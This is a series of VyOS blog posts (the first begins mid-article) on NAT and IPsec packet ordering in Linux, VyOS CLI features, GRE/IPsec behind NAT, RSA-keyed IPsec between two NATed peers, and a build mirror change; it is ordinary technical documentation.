Sometimes the order is less critical but reversing it would create inconvenience for network admins. For example, in Linux (and thus in VyOS), inbound firewall rules are processed after DNAT, so the destination address the firewall will see is the internal address, and you can easily setup a firewall that mentions private addresses on your WAN interface. If it was the other way around, then if you wanted to setup firewall rules for your private addresses, you would have to assign the firewall to the out direction of the LAN interface — not quite as logical or convenient, even if the end result is the same.

Where's IPsec in that processing flow and what are the implications of its position in it?

Let's revisit the complete diagram (image by Jan Engelhardt, CC-BY-SA):

If posthaven can't handle images properly, here's a direct link to the larger version:

The box you are looking for is "XFRM". In Linux, IPsec is not a special component, but a part of the XFRM framework that can do encryption amond other things (it also does compression and header modification).

From the diagram we can see that XFRM decode step (thus IPsec encryption) is before DNAT (NAT prerouting), and IPsec decryption is after SNAT (NAT postrouting). The implications of it are twofold: first you need to be careful when setting up SNAT and IPsec on the same machine, second, you can apply NAT rules to traffic that will go to the tunnel if you really have to.

Avoiding adverse interaction

Suppose you have this config:

vyos@vyos# show vpn ipsec site-to-site

 peer 192.0.2.150 {

     [SNIP]

     tunnel 1 {

         local {

             prefix 192.168.10.0/24

         }

         remote {

             prefix 10.10.10.0/24

         }

     }

 }
vyos@vyos# show nat source

 rule 10 {

     outbound-interface eth0

     source {

         address 192.168.10.0/24

     }

     translation {

         address 203.0.113.134

     }

 }

What will happen to a packet sent by host 192.168.10.100 to host 10.10.10.200? Since SNAT is performed before IPsec, and the 192.168.10.100 source address matches the rule 10, the rule will be applied and the packet will go down the packet processing pipeline with source address 203.0.113.134, which does not match the IPsec policy from tunnel 1. The packet will be sent out of the eth0 interface, unencrypted, and destined to be dropped by the ISP due to its private destination address (or it will be sent to a wrong host, which is not any better).

In this case this order of packet processing seems to be a real hassle. There's a very easy workaround though: exclude packets with destination address 10.10.10.0/24 from SNAT, like this:

vyos@VyOS-AMI# show nat source

rule 5 {

    outbound-interface eth0

    destination {

        address 10.10.10.0/24

    }

    exclude

}

 rule 10 {

     outbound-interface eth0

     source {

         address 192.168.10.0/24

     }

     translation {

         address 203.0.113.134

     }

 }

If you've setup IPsec, the SA is up, but for some reason packets don't get through, make sure that you didn't forget to exclude traffic to the remote network from NAT. It's easy to see with tcpdump whether packets are sent the wrong way or not.

Exploiting the interaction

So far we've only seen how this particular processing order can be bad for our setup. Can it be good for anything then? Sometimes it seems like the Linux network stack was optimized to allow doing crazy things. Just a few days ago I've run into a case when this turned beneficial.

Suppose you setup an IPsec tunnel to your partner, and it turns out you both are using 192.168.10.0/24 subnet internally. None of you is willing to renumber your own network to solve the problem cleanly, but some compromise must be made. The solution is to NAT packets before they are encrypted, which works as expected precisely because IPsec happens after SNAT.

For simplicity let's assume only a single host from our network (internal address 192.168.10.45) needs to interact with a single host from the remote network (10.10.10.55). We will make up an intermediate 172.16.17.45 address and NAT the tunnel traffic to and from 10.10.10.55 host to actually be sent to the 192.168.10.45 host.

The config looks like this:

vyos@vyos# show vpn ipsec site-to-site

 peer 192.0.2.150 {

     [SNIP]

     tunnel 1 {

         local {

             prefix 172.16.17.45/32

         }

         remote {

             prefix 10.10.10.55/32

         }

     }

 }
vyos@vyos# show nat source

 rule 10 {

     outbound-interface any
     destination {
         address 10.10.10.55
     }
     source {

         address 192.168.10.45

     }
     translation {

         address 172.16.17.45

     }

 }
vyos@vyos# show nat destination

 rule 10 {

     destination {

         address 172.16.17.45

     }

     inbound-interface any

     translation {

         address 192.168.10.45

     }

 }

If IPsec was performed before source NAT, this kind of setup would be impossible.

Copying/renaming, node comments, and other little known features of the VyOS CLI

daniil@sentrium.io (Daniil Baturin) — Fri, 26 Jan 2018 02:54:16 GMT

I promised not to write about either IPsec or NAT this time, so we'll discuss something else: the little known features of the VyOS CLI. Many people only ever use set/delete and commit, but there's more to it, and those features can save quite a bit of time.

The edit level (never write long node paths again)

You might have noticed that after every command, the CLI outputs a mysterious "[edit]" line. This is a side effect of the system that allows editing the config at any level.

By default, you are at the top level, so you have to specify the full path, such as "set firewall name Foo rule 10 action accept". However, to avoid writing or pasting long paths, you can set the edit level to any node with the "edit" command, such as "edit firewall name Foo". Once you are at some level, you can use relative node paths, such as "set rule 10 action accept" in this case.

To move between levels, you can use the "up" command to move one level up, or the "top" command to instantly move back to the top level.

Look at this session transcript:

dmbaturin@reki# edit firewall name Foo

[edit firewall name Foo]
dmbaturin@reki# set rule 10 protocol tcp

[edit firewall name Foo]
dmbaturin@reki# edit rule 10

[edit firewall name Foo rule 10]
dmbaturin@reki# set destination port 22

[edit firewall name Foo rule 10]
dmbaturin@reki# up

[edit firewall name Foo]
dmbaturin@reki# set rule 10 description "Allow SSH"

[edit firewall name Foo]
dmbaturin@reki# top

[edit]

Node copying and renaming

If you are making a number of similar policy rules that differ in small details, or rearranging a ruleset, copy and rename commands can save a lot of time. The only issue with them is somewhat fragile and unwieldy syntax.

First, to be able to use them, you need to switch to the level just above the nodes you want to copy or rename. For example, if you want to do something to rules of a firewall named Foo, you need to do "edit firewall name Foo" first. Second, you need to use the complete relative path to the node in both left and right hand sides of the command.

It's perhaps something that is easier to show than explain:

dmbaturin@reki# edit firewall name Foo

[edit firewall name Foo]
dmbaturin@reki# copy rule 10 to rule 20

[edit firewall name Foo]
dmbaturin@reki# rename rule 20 to rule 30

[edit firewall name Foo]

Node comments

Node comments allows one to add notes to any node even if it doesn't have a built-in description option. It's also very simple to use, just "comment $nodePath $commentText" and commit.

dmbaturin@reki# comment system config-management commit-revisions "Ought to be enough for everyone"
[edit]

dmbaturin@reki# commit
[edit]

dmbaturin@reki# show system config-management
/* Ought to be enough for everyone */
commit-revisions 1000
[edit]

If you want to remove the comment, just set it to an empty string ("") and commit, and it will disappear. In this example that would be 'comment system config-management commit-revisions ""'.

Setting up GRE/IPsec behind NAT

daniil@sentrium.io (Daniil Baturin) — Fri, 19 Jan 2018 15:00:55 GMT

In the previous posts of this series we've discussed setting up "plain" IPsec tunnels from behind NAT.

The transparency of the plain IPsec, however, is more often a curse than a blessing. Truly transparent IPsec is only possible between publicly routed networks, and the tunnel mode creates a strange mix of the two approaches: you do not have a network interface associated with the tunnel, but the setup is not free of routing issues either, and it's often hard to test whether the tunnel actually works or not from the router itself.

GRE/IPsec (or IPIP/IPsec, or anything else) offers a convenient solution: for all intents and purposes it's a normal network interface and makes it look like the networks are connected with a wire. You can easily ping the other side, use the interface for firewall and QoS rulesets, and setup dynamic routing protocols in a straightforward way. However, NAT creates a unique challenge for this setup.

The canonical and the simplest GRE/IPsec setup looks like this:

interfaces {

  tunnel tun0 {

    address 10.0.0.2/29

    local-ip 192.0.2.10

    remote-ip 203.0.113.20

    encapsulation gre

  }

}

vpn {

  ipsec {

    site-to-site {

      peer 203.0.113.20 {

        tunnel 1 {

          protocol gre

        }

        local-address 192.0.2.10

It creates a policy that encrypts any GRE packets sent to 203.0.113.20. Of course it's not going to work with NAT because the remote side is not directly routable.

Let's see how we can get around it. Suppose you are setting up a tunnel between routers called East and West. The way to get around it is pretty simple even if not exactly intuitive and boils down to this:

Setup an additional address on a loopback or dummy interface on each router, e.g. 10.10.0.1/32 on the East and 10.10.0.2/32 on the West.
Setup GRE tunnels that are using 10.10.0.1 and .2 as local-ip and remote-ip respectively.
Setup an IPsec tunnels that uses 10.10.0.1 and .2 as local-prefix and remote-prefix respectively.

This way when traffic is sent through the GRE tunnel on the East, the GRE packets will use 10.10.0.1 as a source address, which will match the IPsec policy. Since 10.10.0.2/32 is specified as the remote-prefix of the tunnel, the IPsec process will setup a kernel route to it, and the GRE packets will reach the other side.

Let's look at the config:

interfaces {

  dummy dum0 {

    address 10.10.0.1/32

  }

  tunnel tun0 {

    address 10.0.0.1/29

    local-ip 10.10.0.1

    remote-ip 10.10.0.2

    encapsulation gre

  }

}

vpn {

  ipsec {

    site-to-site {

      peer @west {

        connection-type respond

        tunnel 1 {

          local {

            prefix 10.10.0.1/32

          }

          remote {

            prefix 10.10.0.2/32

          }

This approach also has a property that may make it useful even in publicly routed networks if you are going to use the GRE tunnel for sensitive but unencrypted traffic (I've seen that in legacy applications): unlike the canonical setup, GRE tunnel stops working when the IPsec SA goes down because the remote end becomes unreachable. The canonical setup will continue to work even without IPsec and may expose the GRE traffic to eavesdropping and MitM attacks.

This concludes the series of posts about IPsec and NAT. Next Friday I'll find something else to write about. ;)

How to setup an IPsec connection between two NATed peers: using id's and RSA keys

daniil@sentrium.io (Daniil Baturin) — Fri, 12 Jan 2018 09:05:06 GMT

In the previous post from this series, we've discussed setting up an IPsec tunnel from a NATed router to a non-NATed one. The key point is that in the presence of NAT, the non-NATed side cannot identify the NATed peer by its public address, so a manually configured id is required.

What if both peers are NATed though? Suppose you are setting up a tunnel between two EC2 instances. They are both NATed, and this creates its own unique challenges: neither of them know their public addresses or can identify their peers by their public address. So, we need to solve two problems.

In this post, we'll setup a tunnel between two routers, let's call them "east" and "west". The "east" router will be the initiator, and "west" will be the responder.

A note on pre-shared keys

While there are many issues with PSKs that public key cryptography solves in an elegant way, such as the problem of exchanging them securely, there's also a specific pitfall associated with them in VyOS: if the local-address of the peer is set to 'any' and the peer is identified by an id rather than public address, it won't allow you to use a pre-shared key for that peer. I have to admit I don't remember if this is a fundamental issue or an implementation detail, and perhaps we can lift this limitation at some point, but as of 1.1.8 and the current builds of 1.2.0, you have to use RSA keys or x.509 for authentication in this kind of setup.

Setting up RSA keys

We will not touch x.509 just yet and will focus on "certless" RSA keys in this post. They are very fast and easy to setup. The only real disadvantage is that some IPsec implementation do not support them and require either pre-shared keys or x.509 certificates, but in our example both sides are running VyOS and this is not an issue.

To generate an RSA key, use this command: "run generate vpn rsa-key bits 2048 random /dev/urandom".

Adjust the key length to match the size and style of your tinfoil hat. Mine looks fine with 2048, though setting it to 4096 won't harm. There is also an option to use /dev/random, but on virtual machines it can be impractical due to long blocking time, and contrary to the popular misconception, neither is /dev/random a source of "true" (information theoretically secure) random numbers, nor is /dev/urandom always inherently insecure. Let's generate a key on the West router.

vyos@west# run generate vpn rsa-key bits 2048 random /dev/urandom

Generating rsa-key to /config/ipsec.d/rsa-keys/localhost.key
Your new local RSA key has been generated

The public portion of the key is:
0sAQO8DJuyosdeE1VQnRUdsPGYFJ5gBsj4qYurjUv+/Jn5qSJJSvLYONNCDYfRDj/me5WGAtGwqmikD00oiLdCqR0FOZJTEQoEWeEh7YnOd4MEIWdeOLFRnGeETcoxGX63S7mxfol4/CVw/9n/kXRRHCnNsgYROsygZLlQIRK7hWAq3L6O1WT7Y3s7dHekXN+Ev6UbtZWQq8lejgmO0TR2ZAF3y6iBETW4Q93ARlhUva/ubBjg2oqtuX9u5UpxWTowuNycY44jm3+vjWczPtcYvvlXNt6nSGoORoHPdBeVyzU7yGIf+TcPKXTiro1JO20gwFv1dPTOLucmgEhjhuO86fFf

Save the public key somewhere. If you clear the screen before copying it, don't worry, you can always find the public key in /config/ipsec.d/rsa-keys/localhost.key file, in its "pubkey=..." section.

Now add the West key to the East router so that we can reference it in the IPsec settings:

vyos@east# set vpn rsa-keys rsa-key-name east rsa-key 0sAQO8DJuyosdeE1V...

Repeat the procedure on the second router.

IPsec setup

Now that both routers have each other's keys, we can setup the actual tunnel. The key points:

Since both routers do not know their effective public addresses, we set the local-address of the peer to "any".
On the initiator, we set the peer address to its public address, but on the responder we only set the id.
On the initiator, we need to set the remote-id option so that it can identify IKE traffic from the responder correctly.
On the responder, we need to set the local id so that initiator can know who's talking to it for the point #3 to work.
Don't forget to enable NAT traversal on both sides, "set vpn ipsec nat-traversal enable".

Let's look at the configs:

The East side:

vyos@east# show vpn

 ipsec {

     [SNIP, IKE/ESP groups are irrelevant]

     ipsec-interfaces {

         interface eth0

     }

     nat-traversal enable

     site-to-site {

         peer 192.0.2.60 {

             authentication {

                 id @east

                 mode rsa

                 remote-id west

                 rsa-key-name west

             }

             connection-type initiate

             default-esp-group Foo

             ike-group Foo

             local-address any

             tunnel 1 {

                 local {

                     prefix 10.36.63.0/24

                 }

                 remote {

                     prefix 10.45.54.0/24

                 }

             }

         }

     }

 }

 rsa-keys {

     rsa-key-name west {

         rsa-key 0sAQO8DJuyosdeE1VQnRUdsPGYFJ5gBsj4qYurjUv+/Jn5qSJJSvLYONNCDYfRDj/me5WGAtGwqmikD00oiLdCqR0FOZJTEQoEWeEh7YnOd4MEIWdeOLFRnGeETcoxGX63S7mxfol4/CVw/9n/kXRRHCnNsgYROsygZLlQIRK7hWAq3L6O1WT7Y3s7dHekXN+Ev6UbtZWQq8lejgmO0TR2ZAF3y6iBETW4Q93ARlhUva/ubBjg2oqtuX9u5UpxWTowuNycY44jm3+vjWczPtcYvvlXNt6nSGoORoHPdBeVyzU7yGIf+TcPKXTiro1JO20gwFv1dPTOLucmgEhjhuO86fFf

     }

 }

The West side:

vyos@west# show vpn

 ipsec {

     [SNIP]

     ipsec-interfaces {

         interface eth0

     }

     nat-traversal enable

     site-to-site {

         peer @east {

             authentication {

                 id west

                 mode rsa

                 rsa-key-name east

             }

             connection-type respond

             default-esp-group Foo

             ike-group Foo

             local-address any

             tunnel 1 {

                 local {

                     prefix 10.45.54.0/24

                 }

                 remote {

                     prefix 10.36.63.0/24

                 }

             }

         }

     }

 }

 rsa-keys {

     rsa-key-name east {

         rsa-key 0sAQO7OF/FKgx33E5I29HSy2cqLnL9hNZ6CMbR8kVRIKhqAowIAskh13+gJN2QKOvLfbjN29uy94W02tty5G7+S+xOPeMsCJyz+ofD/v5tJpqIUughngCAGEoB6uveRRfqF15sOetEgjUGPmcVU+neOJ822E2T1sYbnEVfd+vilNPFopzlY61gtWgq7m7ANe2logwSB5XWyQkgCDNi+8IqVyFhNTVbmxDyfJQ1T4/3sRgcEh5XdZhSqRIwxI7/m2jH1FfIGg0FX5+5ok0bBmRU3tMkUKMB1A4QqgXPXR5P0SMDEkfo6zkbsueAX1NEOKXO443r5aKzA1qAGKV0Zp0sriuR

     }

 }

Now if we look in the logs, we will see the following picture:

Jan 12 06:24:23 east pluto[28278]: "peer-192.0.2.60-tunnel-1" #1: enabling possible NAT-traversal with method 3

Jan 12 06:24:23 east pluto[28278]: "peer-192.0.2.60-tunnel-1" #1: NAT-Traversal: Result using RFC 3947: both are NATed

Jan 12 06:24:23 east pluto[28278]: "peer-192.0.2.60-tunnel-1" #1: we don't have a cert

Jan 12 06:24:23 east pluto[28278]: "peer-192.0.2.60-tunnel-1" #1: Peer ID is ID_FQDN: 'west'

Jan 12 06:24:23 east pluto[28278]: "peer-192.0.2.60-tunnel-1" #1: ISAKMP SA established

Jan 12 06:24:23 east pluto[28278]: "peer-192.0.2.60-tunnel-1" #2: initiating Quick Mode PUBKEY+ENCRYPT+TUNNEL+PFS+UP {using isakmp#1}

Jan 12 06:24:23 east pluto[28278]: "peer-192.0.2.60-tunnel-1" #2: sent QI2, IPsec SA established {ESP=>0xc9bf71e1 <0xc32e1a3a NATOA=0.0.0.0}

This concludes the all-NATed IPsec setup.

VyOS builds now use the deb.debian.net load balanced mirror

daniil@sentrium.io (Daniil Baturin) — Fri, 12 Jan 2018 06:21:06 GMT

If there are any good things about that packages server migration and restructuring is that it promoted a revamp of the associated part of the build scripts.

Since the start the default Debian mirror was set to nl.debian.org for a completely arbitrary reason. This of course was suboptimal for most users who are far from the Netherlands, and while the mirror is easy enough to change in ./configure options, a better out of the box experience wouldn't harm.

Danny ter Haar (fromport) suggested that we change it to deb.debian.org which is load balanced, which I think is a good idea. There's a small chance that it will redirect you to a dead mirror, but if you run into any issues, you can always set it by hand.